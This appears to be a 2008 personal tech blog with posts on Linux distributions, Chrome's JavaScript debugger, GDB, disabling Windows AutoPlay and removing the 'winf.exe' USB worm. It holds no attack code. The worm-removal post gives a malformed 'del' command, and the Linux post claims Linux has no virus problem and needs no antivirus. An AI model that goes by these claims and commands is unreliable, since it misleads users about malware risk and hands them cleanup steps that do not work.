According to me now a days LINUX is the name given to collection of Operating System in common rather than any single OS. There are many communities providing Linux-Distro's some of them are Red Hat,Fedora, Mandriva, Debian, Slackware(oldest surviving Linux distro) and so on. I've worked already on Red Hat Enterprise,Fedora,Ubuntu,Mandriva and Open SUSE. After working on these flavours of Linux I want to share my experiences and thoughts.

The main difference between all these flavours which I worked are their GUI and User friendliness. Even though it is better to work on Linux system through shell prompt there are times where we need to use the GUI and when we use it we want it to be friendly with us. Well if you are looking for User friendly Linux distro's I suggest you to use the Ubuntu or Mandriva. I personally recommend Mandriva (my experience). The GUI i Red Hat and Fedora are good but when it comes to system administration, software installation and removal Mandriva is good because of its user friendly Control Center which allows us to do all the system maintenance from a single place. Even though Fedora 8 ,Fedora 9 and Open SUSE are having the control center its not as effective as Mandriva's Control center. Following are the screen shots of Mandriva Control Center.

Now lets look at the development end as a programmer I prefer either Red Hat or Fedora the most next preference is to Mandriva. The reason for this may be because I started programming in Red Enterprise Linux and Fedora is a project is maintained and driven by the community and sponsored by Red Hat for this reason most of the programming environment is similar to Red Hat. Mandriva even though good for programming some required library files are placed in the locations other than the one in which they are normally found on other Linux platforms. I experienced this when I first migrated from Red Hat platform to Mandriva 2008. Actually what happened is in Red Hat after compiling lex programs with lex commands generated C file (lex.yy.c) should be compiled with C compiler (cc or gcc) by giving switch -ll which stands for Lex Library but in Mandriva an error was reported by ld(linker) that specified library is not found same thing happened when I tried to compile file generated by yacc command. Later I found that some of required library files are placed in different path than it should be.

Commands are the third thing which I want to talk. Some of the commands which I found in Red Hat and Fedora are not found in Open SUSE!!!

Next is installation of the third party software in Linux OS, its the most difficult job for developers to develop the software that can run on all the Linux platforms and thereby user should use only those specified flavours of Linux to run this programs.

After seeing all these problems I thought that it would be better if following changes are made to Linux

There should be a central controlling committee for Linux which should bring out a single Kernel that should be used by all the flavours. All the communities should provide the changes made to the Kernel by them to this committee and this committee is responsible for coming up with final Kernel which should be used by all communities providing Linux Distro's

This helps a lot for the developer to come up with a software program that can be used on any Linux flavours without much changes and thus the user can use the distro's they like

There should be a standard file system hierarchy that should be followed by all the Distro's (i.e system, administration, Development, Library files should be placed in the same well defined locations).
There should be a standard set of commands that should be present in all distro's

After following these rules the different distro's can provide their own UI.

Thus if all the distro's follow these rules it'll be really helpful to third party Software developers and Programmers and Linux will become number one OS in the world.

Help for Developer in Google Chrome

2008-10-08T10:49:00.000-07:00

Chrome a browser from Google Inc came into market recently. I think is a fastest browser to browse in the web. According to me it is not good for downloading things compared to Mozilla. Chrome has many feature unlike any browser its very light weight browser, doesn't take time to load and of the all features this is a browser meant for developer.

How I came across the development features of the Chrome?

Well I'm doing a Web based project and I wrote a java script to validate the form in a html page. This script is triggered when user clicks on the submit button. The main purpose of the script is to see that user fills in all the required fields before the form is processed by Java Server Pages. If form is incomplete page will not be submitted for further processing. A warning message box appears and error messages will be written below all the required & incomplete fields. When you submit incomplete form Screen looks some what like this.

Coming back to the developper support in Chrome, I got this problem in the script even when i complete the form and submit still alert box used to pop up and page will not be processed, of the all I was new to javascript and i don't know what was the problem. But when I looked in the File>Developer section of Chrome i came across the javascript debugger. The debugger console looks like this

After launching java script debugger just type help you will get few commands and their usage. The commands are

1.break : Used to setup break points in the java script.

usage: break [location]
location is one of | | |

You can specify function name or the line in the java script file. If there multiple scripts for a HTML page then you can specify it as script name:function or script name:line.

2. Once break point is set then do the action which triggers the java script. (in my case the event is onsubmit i.e on pressing submit button.) Script starts running and you will get a message some what like this

paused at breakpoint 1: checkform(form=#), file:///D:/Programming/project/checkform.js
5: if(form.password.value != form.cpassword.value)

3. break_info : gives number of break points in current script and information about each break point.

4. scripts : This command gives name of the scripts associated with current web page.

5. clear : This command takes the break point number returned by break or break_info command. Is used to clear the break points

6. print : Takes expression or variable name as argument. Used to check the values of variables or expression in the script.

Once script starts running you will get few more commands.

1.step : Used to step into the function, if current statement is not a function it just executes one statement and stops

2. next : Similar to step but instead of stepping into function this will execute entire function and stops at next line to function

3.locals : Gives the value of all the local variables in current context.

4. stepout : Resumes normal execution from current break point, ignores any further break point.

5. continue : Similar to stepout but stops at next break point.

This is a really helpfull tool for a developer to find faults in their scripts, and is not present in any browser.

Next development tool provided by Chrome is java script console which allows to find errors in the java scripts and is also a DOM inspector.

Last but not the least is the task manager which allows the developer to see how much memory is his web page consuming. Not only that it tells how much memory each tab in Chrome is consuming and if flash contents are present it tells how much memory the Shock Wave Plugin is consuming. Following is a view of task manager

Whether people like Chrome or not but it is a really a gift for the developers, and I thank google for providing us such a good web browser.

Disabling Auto Play in Windows

2008-09-27T08:11:00.000-07:00

All of you might have come across the autoplay when we insert any CD or DVD or USB Device. A pop up window will asking how do you want to open the drive. What actually happens here is that OS reads your removable device either it may be a USB or it may be CD or DVD to see what are the possible applications that you can use to open the drive. And if the USB drive is infected with a autorun file when you click open virus will enter into your system. This autoplay feature is used by most of famous antivirus software (nod32,avast) to catch any possible infections as soon as you insert your USB to the machine. Once you disable antivirus doesn't detect virus as soon as you insert your pen drive, but don't worry it will catch the virus once you scan your drive. I suggest you disable this autoplay feature in your computer.
The steps for disabling autoplay are
1. Click on start then on run and in the run window type gpedit.msc and click OK.

2. The group policy editor window will open as shown below.

3. In the Computer configuration collapse the Last option that is "Administrative Template". In the Administrative Template select "System" options (do not double click or collapse it). In the split window you will see lot of options. These steps are shown below.

4. In the split window scroll a little down and select option "turn off auto play " and double click on it, you will get a pop up window as shown below.

5. By default the auto play is enabled in your computer i.e Turn Off auto play is disabled as shown in above picture. Now select Enabled. Now from the drop down list Turn Off Auto Play on select All drives. (You will be given 2 options on CD-ROM and All drives I suggest you disable auto play on all drives). As shown below.

6. You are done now just click on Apply and OK.

if you have any problem in doing this you can leave your question back as comment

GDB with GUI !!!!

2008-09-21T08:54:00.000-07:00

Well I never knew about the GUI for GDB. My sir who posted a comment on my last GDB article asked me whether it comes with GUI ? and I googled it and here we go it is having GUI also. Well for all those who don't want to use the command line GDB this is a good news. Here i,m giving a few screen shots of it and also a link where you can get GDB GUI
http://sources.redhat.com/insight/
This was actually developed by people working in Red Hat Inc. and Cygnus Solutions. In the link given above you can find all about GDB GUI

Here is one screen shot i got from the link above

You can also download it from above stated link and its a ftp download.

Happy Debugging :)

GDB a GNU debugger

2008-09-21T04:54:00.001-07:00

GDB is a free debugger by GNU. Its a command line debugging facility used for debugging C,C++ and few other languages. Most of us are familiar with debugging in a Graphical Interface and feel awkward to use GDB. But GDB is a powerful debugger, once you know how to use it you won't be awkward to use it. Here i'm giving a few tips (which I know about GDB).

To debug a C or C++ program using GDB you must specify a switch during compile time i.e tell compiler to produce debugging information file. This can be done as follows

gcc -ggdb filename.c or g++ -ggdb filename.cpp (you can also use cc or c++ and switch can be simply -g)

Once you have compiled the program without any errors, its time to launch gdb

gdb a.out (or filename if you renamed the file during compilation)

You will command line of gdb which looks something like this (gdb)_

The commands in gdb are

run command line aruments: If your program doesn't take any command line arguments then simply specify run. This command starts your program.

break place :Creates a breakpoint; the program will halt when it gets there. The most common breakpoints are at the beginnings of functions. You can also specify line numbers in source file where you want to place break point like break 20.

delete N : Deletes break point at line N. Information about the break point can be got by using info break.

step : Executes current line and stops at next line.

next : Similar to step but when current line is function call next command executes the whole function and stops at next line to function call. Step enters the function and stops at first statement in function.

finish : Keeps doing nexts, without stepping, until reaching the end of the current function.

continue : Continues regular execution of the program until a breakpoint is hit or the program stops.

print E : prints the value of E in the current framein the program, where E is a C expression (usually just a
variable). display is similar, except every time you execute a next or step, it will print out the
expression based on the new variable values.

where or bt or backtrace : prints chain of function call that brought the program to current point of execution.

quit : Leaves GDB.

If you want to know further functionality of gdb you should follow this link

http://www.delorie.com/gnu/docs/gdb/gdb_toc.html

Happy Debugging :)

Why windows? Why not LINUX ????

2008-09-20T03:32:00.000-07:00

We all started our computer basics in one of the Microsoft OS, may be Windows 98 or Windows XP. I also started my computer life with XP later i came accross the OS Linux, I was really amazed to see features Linux provides. This OS is having superb security features which windows OS normally lacks.
To start with

All windows user have common problem called "virus", all (maximum) of windows OS software are commercial software, i.e we need to pay for it or get a pirated copy a punishable act but we still follow. Well what can we do we got windows OS from our computer vendor for free and we don't know whether it is Original version or Pirated but most of the times it'll be pirated. Since we are using pirated software we can't expect any technical support from the software vendors also. Along with all this we need a anti virus software which we may get for free but most of times it won't be much effective to get good anti virus software we need to pay or again use pirated. If i go on talking this problem list will never end.
So now lets compare these facts with Linux

Linux is a open source operating system i.e we get it for free. You need to pay a little amount if you want to get it on DVD, but you can download it for free and make your own DVD.
Linux is not having any virus problem so no need of anti virus software(This is really what we wanted).
All software packages which are supplied with it are freewares, you also get technical support if you have any problem.

Why no virus problem for Linux?
In Linux you can not run a program without execute permission, unlike in windows all files with .exe extension are executable. You can run or use only those programs which are yours or of someone who is in your group. The program which run during system start up are Super User privileged. Only Super user can change ownership of any files and so on... With this much security its very hard to write a virus code for Linux.

Besides Linux provides support for programming and software development. It has inbuilt compilers for C, C++ java and many other languages. It also provides secure browsing, no need to be afraid of virus attack!! It provides many communication features like ftp,telnet,SSH(secure shell client) for remote log in and file transfer. You can also access windows clients for file transfer and printing and other activities using "Samba" software. You can get more detail about this in these links

http://us3.samba.org/samba/docs/SambaIntro.html
http://en.wikipedia.org/wiki/Samba_(software)

Not only that you can also walk on the files all around the world using FISH protocol supported in KDE3.1 and higher. You can get more details about this in following link
http://www.linux.org/lessons/short/fish/index.html

New version of Linux distribution like Mandriva,Fedora Open SUSE are having good User interface and even the 3D desktop.

You can also install windows programs in Linux using WINE(Windows Emulator)
You can also install whole windows operating system in Linux using Virtual Machine like Virtual Box and Quemu which comes along with the Linux DVD and are freeware too!!

We have all features of Windows and More than that !! Yet we Like Windows not Linux, Strange but fact.

If any mistakes or if i've told something wrong please do write the comments

A Nasty Worm winf.exe

2008-09-19T07:25:00.000-07:00

I came across a worm by name winf.exe. Most of you may know this worm it changes the drive icon to a nasty looking image and label to weird looking charachters. Even if you want to change the label or the icon you wont be able to do it. This worm mostly comes through the USB devices. When You double click on it this virus copies a autorun.inf file and a thb.ico file to all your drives and there you go all icons,labels changed!! Not only that it copies file win.exe and avgs.exe to your system32 folder and it will be added to a particular place in registry for launching it during startup.

You might have a question what this to program files do? Well you might have experienced this "when you type orkut or youtube " in your browser a message box pops up and tells orkut and youtube infected by virus not only that it closes your browser also, Great rite. Some time it may play a laughing sound also.

Well what exactly this so called virus is???

Its not a virus. Surprised??? its a script written using autohotkey software. You can get this software here www.autohotkey.com/download. This software was actually created to automate repetitive task and improve windows user interface but some people are using it to create nasty programs and trouble others.

This worm consists of a set of file including source code for the same !! and packed into a SFX archive using winrar, so that it can be extracted to required location when user double click on USB device. The icon of SFX archive is removed so that it is not easily seen since only file name is visible.

How to bring back the drive icon and label back to normal?

Manual

launch task manager
find processes win.exe and avgs.exe runnig under your user name
Terminate these processes.
now launch command prompt and type following commands

C:\Documents and Settings\VASUDEV>cd\

C:\>del \ah /F [/A: H] autorun.inf thb.ico

repeat this process in each drive. If you have some PC maintaining software check the startup program list if win.exe or avgs.exe remove those entries and do a restart. Now the drive should return to normal. Now scan the system using antivirus software. I suggest using avast's boot time scan on C drive, it will delete all infected files.

This is method i used to remove the virus from my system.

To avoid getting infected by this nasty worm and other similar worms- "Do not double click on your pendrive on any day try to use address bar to access pendrive".

Also use this small but very effective software USB Disk securtiy, mere 1MB software but detects any autorun program including winf.exe as soon as you insert USB device. Home page for this software is http://www.zbshareware.com/.